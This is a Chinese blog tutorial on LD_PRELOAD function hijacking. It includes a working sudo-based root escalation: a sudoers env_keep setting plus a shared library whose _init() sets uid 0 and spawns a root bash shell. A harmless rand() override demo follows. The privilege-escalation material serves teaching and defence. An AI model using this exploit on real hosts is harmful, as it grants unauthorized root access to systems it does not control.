LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib。当调用一些外部库的函数时,如果通过动态链接库LD_PRELOAD预加载另一个同名的函数,其使用的就是LD_PRELOAD生成的库文件,这样就会造成劫持。这个劫持当然首先可以想到的是提权,其次其也可以用于软件破解和功能增加。

一、preload提权

这个是在老旧的*unix版本上存在的一个bug,目前已经fix,当前的利用思路和之前的已经不一样。我们先看下在当前环境下运行之前的漏洞利用代码会得到什么样的结果:

1[zabbix@361way tmp]$ cat preload.c
2#include <dlfcn.h>
3#include <unistd.h>
4#include <sys/types.h>
5uid_t geteuid( void ) { return 0; }
6uid_t getuid( void ) { return 0; }
7uid_t getgid( void ) { return 0; }

将这段代码编译为动态链接库文件:

1gcc -shared -o preload.so preload.c

完成后,利用下面的命令进行注入测试:

LD_PRELOAD
LD_PRELOAD

通过 id 或 whoami 来看,貌似已经注入成功,但是当执行敏感性操作时,还是会出现无权执行的情况。LD_PRELOAD相关的文档也可以参考exploit-db上相关的文章

当前关于动态链接库的利用思路是通过书写不严谨的第三方程序注入或都使用sudo里的LD_PRELOAD设置注入环境后,通过加载相应的命令进行注入。

通过visudo在最后增加如下两行内容:

1Defaults    env_keep += "LD_PRELOAD"
2zabbix ALL=(root) NOPASSWD:/usr/bin/ls

搞如下一段c代码:

1#include <stdio.h>
2#include <sys/types.h>
3#include <stdlib.h>
4void _init() {
5unsetenv("LD_PRELOAD");
6setgid(0);
7setuid(0);
8system("/bin/bash");
9}

将以上代码编译为动态链接库文件,编译完成后,进行注入调用,如下:

sudo-preload
sudo-preload

小常识:普通用户也可以通过如下命令确认自己是否有PRE_RELOAD的权限

1[zabbix@361way ~]$ sudo -l
2Matching Defaults entries for zabbix on 361way:
3    !visiblepw, always_set_home, match_group_by_gid, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG
4    LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
5    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, env_keep+=LD_PRELOAD
6User zabbix may run the following commands on 361way:
7    (root) NOPASSWD: /usr/bin/ls

二、功能修改示例

这是一个随机数修改的示例,也是LD_PRELOAD演示的经典示例。先一段C代码:

 1[zabbix@361way ~]$ vim test.c
 2#include <stdio.h>
 3#include <stdlib.h>
 4#include <time.h>
 5int main(){
 6  srand(time(NULL));
 7  int i = 10;
 8  while(i--) printf("%d\n",rand()%100);
 9  return 0;
10}

通过gcc -o test test.c编译后,通过./test运行会发现,其每次都会产生成10个100以内的随机所(产生任意的随机数,和100除以后求余,所以余数结果肯定是小于100的)。

接下来我们通过LD_PRELOAD劫持这个结果。由于上面的代码调用了标准库里的rand()方法,哪我们就新生成一个新的rand()方法覆盖当前方法。代码很简单,如下:

1int rand(){
2    return 361; //the most random number in the universe
3}

同样,通过如下的命令生成so文件:

1gcc -shared -fPIC myrand.c -o myrand.so

接下来我们使用如下方式调用test程序:

1[zabbix@361way ~]$ LD_PRELOAD=$PWD/myrand.so ./test

发现输出的结果不再是10个100以内的随机数,输出变成了10个361。是不是功能被修改了?

1[zabbix@361way ~]$ ldd ./test
2        linux-vdso.so.1 =>  (0x00007ffeb33af000)
3        libc.so.6 => /lib64/libc.so.6 (0x00007fbdd5077000)
4        /lib64/ld-linux-x86-64.so.2 (0x00007fbdd5447000)
5[zabbix@361way ~]$ LD_PRELOAD=$PWD/myrand.so ldd ./test
6        linux-vdso.so.1 =>  (0x00007fffcce6f000)
7        /home/zabbix/myrand.so (0x00007f57157af000)
8        libc.so.6 => /lib64/libc.so.6 (0x00007f57153df000)
9        /lib64/ld-linux-x86-64.so.2 (0x00007f57159b7000)

通过上面的ldd功能修改,是不是发现了myrand.so文件被加载到了libc.so文件之前。

后记:

LD_PRELOAD的初衷是非常好的,并不是为了方便大家注入提权而存在的,这里再给一个freebuf 上的功能修改文档。这里引用下其给出的可行性方案中的内容,可以从中看出PRELOAD的优势。

  • 在原来的文件上进行二进制修改,考虑到汇编语言开发效率太低,不可取。【放弃】
  • 修改原程序,在合适的地方,使用懒加载方式,调用自己写的so文件,然后在so文件中实现功能。【可以实现,但既要修改原文件,还要写so文件,可以当做备选方案】
  • 不修改原程序,LD_PRELOAD动态连接.so函数劫持,然后对需要进行修改的关键点进行补丁。【不修改原文件,只是利用so文件,进行补丁,新功能在so文件中完成,此方案可以考虑】